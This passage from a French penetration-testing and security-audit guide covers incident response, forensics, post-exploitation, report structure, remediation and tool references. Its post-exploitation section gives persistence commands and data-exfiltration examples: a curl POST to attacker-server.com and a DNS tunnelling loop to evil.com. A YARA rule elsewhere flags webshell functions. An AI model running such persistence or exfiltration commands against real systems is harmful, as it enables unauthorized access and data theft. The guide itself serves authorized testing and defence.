Credential Access	Vol de credentials	LSASS dump, Kerberoasting
Discovery	Découverte de l'environnement	Énumération AD, scan réseau
Lateral Movement	Déplacement latéral	PsExec, WinRM, RDP
Collection	Collecte de données	Keylogger, screenshots, clipboard
Exfiltration	Exfiltration de données	DNS tunneling, HTTP, cloud storage
Impact	Impact sur le système	Ransomware, destruction de données

Identification de ransomwares

# Procédure d'identification en cas d'incident ransomware :
# 1. ISOLER la machine du réseau immédiatement
# 2. Prendre une photo/capture de la note de rançon
# 3. Identifier l'extension des fichiers chiffrés (.locked, .crypt, .encrypted, etc.)
# 4. Soumettre un fichier chiffré + note de rançon sur :
#    - https://id-ransomware.malwarehunterteam.com/
#    - https://www.nomoreransom.org/
# 5. Vérifier si un déchiffreur gratuit existe

# NE JAMAIS payer la rançon :
# - Aucune garantie de récupération
# - Finance les activités criminelles
# - Vous devenez une cible récurrente

Analyse de hash et IOC

# Calculer le hash d'un fichier suspect
md5sum fichier_suspect
sha1sum fichier_suspect
sha256sum fichier_suspect

# PowerShell
Get-FileHash -Path "C:\suspect.exe" -Algorithm SHA256

# Soumettre le hash à VirusTotal
curl -s "https://www.virustotal.com/api/v3/files/SHA256_HASH" \
  -H "x-apikey: API_KEY" | jq '.data.attributes.last_analysis_stats'

# Vérifier une IP suspecte sur AbuseIPDB
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=IP_SUSPECTE&maxAgeInDays=90" \
  -H "Key: API_KEY" -H "Accept: application/json"

# Rechercher un IOC sur OTX AlienVault
curl -s "https://otx.alienvault.com/api/v1/indicators/IPv4/IP_SUSPECTE/general" \
  -H "X-OTX-API-KEY: API_KEY"

# Décoder des chaînes obfusquées (Base64, hex, etc.)
echo "Y21kIC9jIGNhbGMuZXhl" | base64 -d
# Résultat : cmd /c calc.exe

Analyse de fichiers suspects

# Analyse statique basique
file suspect.exe
strings suspect.exe | grep -iE "(http|https|ftp|cmd|powershell|eval|exec)"
exiftool suspect.exe

# Sandbox en ligne (soumettre le fichier) :
# - https://any.run/ (interactif)
# - https://www.hybrid-analysis.com/
# - https://www.joesandbox.com/

# YARA - Détection par règles
# Règle YARA basique
cat <<'EOF' > detect_webshell.yar
rule PHP_Webshell {
    meta:
        description = "Détecte les webshells PHP basiques"
        severity = "high"
    strings:
        $s1 = "system(" ascii
        $s2 = "exec(" ascii
        $s3 = "shell_exec(" ascii
        $s4 = "passthru(" ascii
        $s5 = "eval(" ascii
        $s6 = "$_GET" ascii
        $s7 = "$_POST" ascii
        $s8 = "$_REQUEST" ascii
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and any of ($s6, $s7, $s8)
}
EOF
yara detect_webshell.yar /var/www/html/ -r

Forensics de base

# Acquisition de mémoire (Windows)
# WinPMEM
winpmem_mini_x64.exe memdump.raw

# DumpIt
DumpIt.exe  # Crée un dump mémoire dans le répertoire courant

# Analyse avec Volatility 3
python3 vol.py -f memdump.raw windows.info
python3 vol.py -f memdump.raw windows.pslist
python3 vol.py -f memdump.raw windows.pstree
python3 vol.py -f memdump.raw windows.netscan
python3 vol.py -f memdump.raw windows.cmdline
python3 vol.py -f memdump.raw windows.filescan

# Timeline analysis
# Créer une timeline des événements système
python3 vol.py -f memdump.raw timeliner.TimeLiner --output-file timeline.csv

# Préservation des preuves (chain of custody)
# 1. Documenter : qui, quoi, quand, où, comment
# 2. Calculer les hash de chaque élément collecté
# 3. Travailler uniquement sur des copies
# 4. Conserver les originaux dans un lieu sûr
# 5. Journaliser chaque accès aux preuves

9. Phase 7 — Post-exploitation et évaluation d'impact

Évaluation de l'accès obtenu

Après avoir exploité une ou plusieurs vulnérabilités, il faut documenter précisément l'impact réel :

# Questions clés à documenter :
# 1. Quel niveau d'accès a été obtenu ? (utilisateur, admin local, admin domaine)
# 2. Quelles données sensibles sont accessibles ?
# 3. Quels systèmes supplémentaires sont atteignables (lateral movement) ?
# 4. L'accès est-il persistant ou temporaire ?

# Prouver l'accès (sans exfiltrer de données réelles)
whoami /all                        # Privilèges obtenus
hostname                           # Machine compromise
ipconfig /all                      # Position réseau
net localgroup Administrators      # Membres du groupe admin local
dir C:\Users\                      # Profils utilisateurs accessibles
dir \\fileserver\partage\          # Partages accessibles

# Screenshot de la preuve (pas de copie de données réelles)

Persistance (pour démontrer le risque)

# Techniques de persistance courantes (pour démonstration)

# Tâche planifiée
schtasks /create /tn "AuditTest" /tr "C:\audit\beacon.exe" /sc daily /st 09:00

# Clé de registre Run
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AuditTest /t REG_SZ /d "C:\audit\beacon.exe"

# Service Windows
sc create AuditTestSvc binPath= "C:\audit\beacon.exe" start= auto

# WMI Event Subscription
# (technique avancée, souvent utilisée par les APT)

# IMPORTANT : Documenter CHAQUE mécanisme de persistance installé
# pour le supprimer lors de la phase de nettoyage

Exfiltration de données (test contrôlé)

# Canaux d'exfiltration courants à tester :

# 1. HTTP/HTTPS (le plus courant)
curl -X POST https://attacker-server.com/collect -d @sensitive_file.txt

# 2. DNS (difficile à détecter)
# Encoder les données dans les requêtes DNS
cat secret.txt | xxd -p | fold -w 60 | while read line; do nslookup $line.evil.com; done

# 3. ICMP (tunnel)
# Utiliser des outils comme ptunnel ou icmpsh

# 4. Cloud storage
# Upload vers un service cloud légitime (OneDrive, Google Drive, Dropbox)

# IMPORTANT : Utiliser des données factices pour les tests
# Ne JAMAIS exfiltrer de vraies données sensibles
# Documenter la taille et le type de données qui auraient pu être exfiltrées

Nettoyage et restauration

# Checklist de nettoyage OBLIGATOIRE

# 1. Supprimer les comptes créés
net user AuditTest /delete
Remove-ADUser -Identity "AuditTest" -Confirm:$false

# 2. Supprimer les tâches planifiées
schtasks /delete /tn "AuditTest" /f

# 3. Supprimer les clés de registre
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AuditTest /f

# 4. Supprimer les services
sc delete AuditTestSvc

# 5. Supprimer les fichiers déposés
del /f /q C:\audit\*

# 6. Supprimer les webshells
# Lister et supprimer tout fichier déposé sur les serveurs web

# 7. Supprimer les règles de firewall ajoutées
netsh advfirewall firewall delete rule name="AuditTest"

# 8. Vérifier le retour à l'état initial
# Comparer avec le snapshot pré-audit si disponible

10. Rapport d'audit

Structure du rapport professionnel

RAPPORT D'AUDIT DE SÉCURITÉ

1. PAGE DE GARDE
   - Logo du prestataire
   - Titre : "Rapport d'audit de sécurité - [Client]"
   - Référence : AUDIT-[AAAA]-[NNN]
   - Classification : CONFIDENTIEL
   - Date, version, auteurs

2. RÉSUMÉ EXÉCUTIF (1-2 pages)
   - Contexte de l'audit
   - Périmètre testé
   - Score global de sécurité (A à F ou note /100)
   - Statistiques des vulnérabilités :
     Critiques: X | Hautes: X | Moyennes: X | Faibles: X | Info: X
   - Top 3 des vulnérabilités les plus critiques
   - Recommandations prioritaires

3. CONTEXTE ET PÉRIMÈTRE
   - Objectifs de l'audit
   - Périmètre technique détaillé
   - Exclusions et limitations
   - Type d'audit (black/grey/white box)
   - Dates de réalisation

4. MÉTHODOLOGIE
   - Référentiels utilisés (OWASP, PTES, NIST)
   - Outils utilisés
   - Approche (manuelle + automatisée)

5. VULNÉRABILITÉS DÉTAILLÉES
   Pour chaque vulnérabilité :
   - Identifiant : VULN-[NNN]
   - Titre descriptif
   - Sévérité : Critique / Haute / Moyenne / Faible / Info
   - Score CVSS v3.1 : [score] ([vecteur])
   - CVE associée (si applicable)
   - Description technique
   - Preuve d'exploitation (screenshots, logs, commandes)
   - Impact business
   - Recommandation de correction
   - Effort de correction estimé (faible / moyen / élevé)
   - Références (CWE, OWASP, ANSSI)

6. PLAN DE REMÉDIATION
   - Tableau priorisé des corrections
   - Timeline recommandée
   - Quick wins (corrections rapides à fort impact)

7. ANNEXES
   - Résultats bruts des scans
   - Configuration des outils
   - Glossaire

Format CVSS pour chaque vulnérabilité

# Exemple de scoring CVSS v3.1

Vulnérabilité : SQL Injection sur la page de login
CVSS Base Score : 9.8 (Critique)
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Décomposition :
- Attack Vector (AV) : Network (accessible à distance)
- Attack Complexity (AC) : Low (facile à exploiter)
- Privileges Required (PR) : None (pas d'authentification)
- User Interaction (UI) : None (pas d'interaction nécessaire)
- Scope (S) : Unchanged
- Confidentiality (C) : High (accès à toutes les données)
- Integrity (I) : High (modification des données possible)
- Availability (A) : High (suppression possible)

Classification des risques

Probabilité ↓ / Impact →	Faible	Modéré	Élevé	Critique
Très probable	Moyen	Élevé	Critique	Critique
Probable	Faible	Moyen	Élevé	Critique
Possible	Faible	Faible	Moyen	Élevé
Peu probable	Info	Faible	Faible	Moyen

Présentation aux décideurs

Le résumé exécutif doit être compréhensible par des non-techniciens :

• Utiliser des analogies concrètes (ex: « c'est comme laisser la porte d'entrée ouverte »)
• Quantifier l'impact financier potentiel (coût d'une fuite de données, amende RGPD)
• Illustrer avec un scénario d'attaque réaliste
• Montrer le retour sur investissement des corrections
• Présenter les quick wins en premier

11. Remédiation et suivi

Priorisation des corrections

Catégorie	Effort	Impact sécurité	Exemples	Délai
Quick Wins	Faible	Élevé	Ajouter des headers HTTP, désactiver des services inutiles, mettre à jour des logiciels	1-2 semaines
Corrections majeures	Moyen	Élevé	Corriger les injections SQL, implémenter CSP, renforcer l'authentification	1 mois
Projets structurels	Élevé	Élevé	Segmentation réseau, déploiement WAF, refonte de l'architecture	3-6 mois
Améliorations continues	Variable	Modéré	Formation, procédures, monitoring avancé	En continu

Vérification des corrections (re-test)

# Processus de re-test
# 1. Le client corrige les vulnérabilités selon le plan de remédiation
# 2. Le client informe l'auditeur que les corrections sont déployées
# 3. L'auditeur re-teste CHAQUE vulnérabilité corrigée
# 4. Mise à jour du rapport avec le statut :
#    - Corrigé : la vulnérabilité n'est plus exploitable
#    - Partiellement corrigé : risque réduit mais toujours présent
#    - Non corrigé : la vulnérabilité persiste
#    - Nouvelle vulnérabilité : la correction a introduit un nouveau problème

# Re-tester les en-têtes HTTP
curl -sI https://exemple.com | grep -iE "^(content-security|strict-transport|x-frame)"

# Re-tester TLS
./testssl.sh --severity HIGH exemple.com

# Re-tester les injections
sqlmap -u "https://exemple.com/page?id=1" --batch --banner

# Vérifier les ports fermés
nmap -sS -p 21,23,445,3389 exemple.com

Mise en place de la surveillance continue

• SIEM : Centraliser les logs (Splunk, ELK Stack, Wazuh, Microsoft Sentinel)
• EDR : Protection endpoint avancée (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
• Monitoring réseau : Surveillance du trafic (Zeek, Suricata, Snort)
• Vulnerability Management : Scans réguliers (Nessus, Qualys, OpenVAS)
• Dashboards : Tableaux de bord de sécurité avec KPIs

Programme d'amélioration continue

Action	Fréquence	Description
Scan de vulnérabilités	Mensuel	Scan automatisé de l'infrastructure
Audit de sécurité complet	Annuel	Audit par un prestataire externe
Pentest applicatif	Semestriel	Test des applications web critiques
Exercice phishing	Trimestriel	Campagne de sensibilisation
Red Team / Blue Team	Annuel	Simulation d'attaque complète
Formation sécurité	Annuel	Sensibilisation de tous les employés
Revue des accès	Trimestriel	Vérification des droits utilisateurs
Bug Bounty	Continu	Programme de récompense (HackerOne, YesWeHack)

12. Checklist de synthèse

Cette checklist couvre l'ensemble des vérifications à réaliser lors d'un audit de sécurité complet. Utilisez-la comme guide pour ne rien oublier.

✓	Phase	Vérification	Outil recommandé	Criticité
☐	Préparation	Convention d'audit signée et périmètre défini	Pentest Checklist	Critique
☐	Préparation	Inventaire des assets (IP, domaines, applications)	WHOIS, IP Lookup	Haute
☐	Préparation	Contacts d'urgence définis et testés	-	Haute
☐	Recon Passive	WHOIS et enregistrements DNS complets	WHOIS, MX Lookup	Haute
☐	Recon Passive	Énumération des sous-domaines	DNS Propagation	Haute
☐	Recon Passive	Google Dorking (fichiers exposés, pages admin)	Google	Moyenne
☐	Recon Passive	Recherche Shodan / Censys	Shodan, Censys	Moyenne
☐	Recon Passive	Récolte d'emails et OSINT personnel	theHarvester	Moyenne
☐	Recon Passive	Reverse IP et hébergement partagé	Reverse IP Lookup	Moyenne
☐	Recon Active	Scan complet de ports TCP/UDP	Port Scanner, Nmap	Critique
☐	Recon Active	Détection de version des services	Nmap (-sV)	Critique
☐	Recon Active	Recherche de CVE pour chaque service découvert	CVE Lookup	Critique
☐	Recon Active	Scan de vulnérabilités automatisé	Nessus, OpenVAS, Nuclei	Haute
☐	Recon Active	Énumération de répertoires web	Gobuster, Feroxbuster	Haute
☐	Recon Active	Énumération SMB (partages, utilisateurs)	enum4linux, CrackMapExec	Haute
☐	Audit Web	Vérification des en-têtes de sécurité HTTP	Header Security Checker	Haute
☐	Audit Web	Vérification configuration TLS/SSL	Cipher Suite Tester, SSL Checker	Critique
☐	Audit Web	Test de la configuration CORS	CORS Tester	Haute
☐	Audit Web	Test d'injection SQL	sqlmap, Burp Suite	Critique
☐	Audit Web	Test XSS (refléchi, stocké, DOM)	XSStrike, Burp Suite	Critique
☐	Audit Web	Test SSRF	Burp Suite	Critique
☐	Audit Web	Test Command Injection	Commix, Burp Suite	Critique
☐	Audit Web	Test d'authentification (brute force, politique MDP)	Hydra, Burp Suite	Haute
☐	Audit Web	Test de gestion de session (fixation, cookies)	Burp Suite	Haute
☐	Audit Web	Test IDOR et escalade de privilèges	Burp Suite	Critique
☐	Audit Web	Test d'upload de fichiers malveillants	Burp Suite	Haute
☐	Audit Web	Test de sécurité API REST/GraphQL	OWASP Top 10, Burp Suite	Haute
☐	Audit Réseau	Analyse du trafic réseau (credentials en clair)	Wireshark	Critique
☐	Audit Réseau	Vérification des ports dangereux exposés	Ports Sécurité, Port Scanner	Critique
☐	Audit Réseau	Vérification blacklist IP	IP Blacklist Checker	Moyenne
☐	Audit Réseau	Vérification SPF/DKIM/DMARC	DKIM / SPF Checker	Haute
☐	Audit Réseau	Test de segmentation réseau (VLANs, DMZ)	Nmap, CrackMapExec	Haute
☐	Audit Réseau	Audit Wi-Fi (protocoles, isolation)	aircrack-ng	Moyenne
☐	Audit AD	Énumération complète AD (users, groups, GPO)	PowerShell Security	Critique
☐	Audit AD	Nombre de Domain Admins (≤ 5)	PowerShell	Critique
☐	Audit AD	Comptes avec mots de passe n'expirant jamais	PowerShell	Haute
☐	Audit AD	Délégation non contrainte	PowerShell, BloodHound	Critique
☐	Audit AD	Test Kerberoasting / AS-REP Roasting	Rubeus, Impacket	Critique
☐	Audit AD	Politique de mot de passe (longueur ≥ 12)	PowerShell	Haute
☐	Audit AD	Politique d'audit (Event IDs critiques)	auditpol, PowerShell	Haute
☐	Audit AD	Protection LSASS (RunAsPPL, Credential Guard)	PowerShell (registre)	Critique
☐	Audit AD	SMB Signing et LDAP Signing	PowerShell	Haute
☐	Audit AD	Chemins d'attaque (BloodHound)	BloodHound, SharpHound	Critique
☐	Menaces	Mapping MITRE ATT&CK des techniques détectées	MITRE ATT&CK	Moyenne
☐	Menaces	Analyse des hash suspects (VirusTotal, IOC)	Hash Identifier, CyberChef Lite	Haute
☐	Menaces	Vérification présence de ransomware/malware	Ransomware ID	Critique
☐	Post-exploit	Évaluation de l'impact des accès obtenus	-	Critique
☐	Post-exploit	Nettoyage complet de tous les artefacts de test	-	Critique
☐	Rapport	Rédaction du rapport avec scoring CVSS	CVE Lookup	Critique
☐	Rapport	Résumé exécutif non technique	-	Haute
☐	Rapport	Plan de remédiation priorisé avec timeline	-	Haute
☐	Suivi	Re-test des corrections	Tous les outils précédents	Haute
☐	Suivi	Mise en place de la surveillance continue (SIEM, EDR)	Wazuh, ELK, Sentinel	Haute

13. Ressources et références

Standards et référentiels

Ressource	Lien	Description
OWASP Testing Guide	https://owasp.org/www-project-web-security-testing-guide/	Méthodologie complète de test web
OWASP Top 10	https://owasp.org/www-project-top-ten/	Top 10 des risques web
NIST Cybersecurity Framework	https://www.nist.gov/cyberframework	Framework de gestion des risques cyber
ANSSI - Guides de sécurité	https://www.ssi.gouv.fr/administration/bonnes-pratiques/	Recommandations de l'ANSSI (France)
ISO 27001	https://www.iso.org/isoiec-27001-information-security.html	Norme internationale SMSI
MITRE ATT&CK	https://attack.mitre.org/	Matrice de techniques d'attaque
PTES	http://www.pentest-standard.org/	Standard d'exécution de pentest
CWE (Common Weakness Enumeration)	https://cwe.mitre.org/	Catégorisation des faiblesses logicielles

Outils externes recommandés par catégorie

Reconnaissance

Outil	Usage	Lien
Nmap	Scan de ports et découverte réseau	https://nmap.org/
Amass	Énumération de sous-domaines	https://github.com/owasp-amass/amass
Subfinder	Découverte de sous-domaines passive	https://github.com/projectdiscovery/subfinder
theHarvester	Récolte d'emails et sous-domaines	https://github.com/laramies/theHarvester
Shodan	Moteur de recherche d'appareils connectés	https://www.shodan.io/

Scan de vulnérabilités

Outil	Usage	Lien
Nessus	Scanner de vulnérabilités (commercial)	https://www.tenable.com/products/nessus
OpenVAS / Greenbone	Scanner de vulnérabilités (open source)	https://www.greenbone.net/
Nuclei	Scanner rapide basé sur des templates	https://github.com/projectdiscovery/nuclei
Nikto	Scanner de serveurs web	https://github.com/sullo/nikto

Exploitation web

Outil	Usage	Lien
Burp Suite	Proxy d'interception et test web	https://portswigger.net/burp
sqlmap	Détection et exploitation SQL injection	https://sqlmap.org/
Gobuster / Feroxbuster	Découverte de répertoires web	https://github.com/OJ/gobuster
ffuf	Fuzzer web rapide	https://github.com/ffuf/ffuf

Active Directory

Outil	Usage	Lien
BloodHound	Visualisation des chemins d'attaque AD	https://github.com/BloodHoundAD/BloodHound
PingCastle	Audit de santé Active Directory	https://www.pingcastle.com/
Impacket	Suite d'outils réseau Python (Kerberoast, etc.)	https://github.com/fortra/impacket
CrackMapExec	Post-exploitation et énumération réseau	https://github.com/byt3bl33d3r/CrackMapExec
Rubeus	Manipulation Kerberos	https://github.com/GhostPack/Rubeus

Analyse et forensics

Outil	Usage	Lien
Wireshark	Analyse de trafic réseau	https://www.wireshark.org/
Volatility	Analyse de mémoire (forensics)	https://github.com/volatilityfoundation/volatility3
VirusTotal	Analyse de fichiers et URLs suspects	https://www.virustotal.com/
Any.run	Sandbox interactive d'analyse de malwares	https://any.run/

Certifications en cybersécurité

Certification	Organisme	Niveau	Focus
CompTIA Security+	CompTIA	Débutant	Fondamentaux de la sécurité
CEH (Certified Ethical Hacker)	EC-Council	Intermédiaire	Hacking éthique, méthodologie
eJPT	INE Security	Débutant	Pentest pratique (entrée de gamme)
OSCP	OffSec	Avancé	Pentest pratique (référence du marché)
OSWE	OffSec	Expert	Sécurité applicative web
CISSP	ISC2	Senior	Management de la sécurité (gouvernance)
CRTP / CRTE	Altered Security	Avancé	Active Directory Red Team

Plateformes d'entraînement

Plateforme	Type	Lien
HackTheBox	Labs de pentest (machines vulnérables)	https://www.hackthebox.com/
TryHackMe	Apprentissage guidé (débutants à avancés)	https://tryhackme.com/
Root-Me	Challenges variés (communauté française)	https://www.root-me.org/
PortSwigger Web Security Academy	Labs web gratuits (par les créateurs de Burp)	https://portswigger.net/web-security
VulnHub	Machines virtuelles vulnérables à télécharger	https://www.vulnhub.com/
Hack The Box Academy	Cours structurés par module	https://academy.hackthebox.com/

Livres recommandés

• The Web Application Hacker's Handbook - Dafydd Stuttard, Marcus Pinto (sécurité web)
• Penetration Testing - Georgia Weidman (pentest général)
• The Hacker Playbook 3 - Peter Kim (méthodologie Red Team)
• Active Directory Attacks and Defense - Nikhil Mittal (AD security)
• RTFM: Red Team Field Manual - Ben Clark (référence commandes)
• Blue Team Handbook - Don Murdoch (défense et forensics)
• Sécurité informatique - Ethical Hacking - ACISSI (en français, éditions ENI)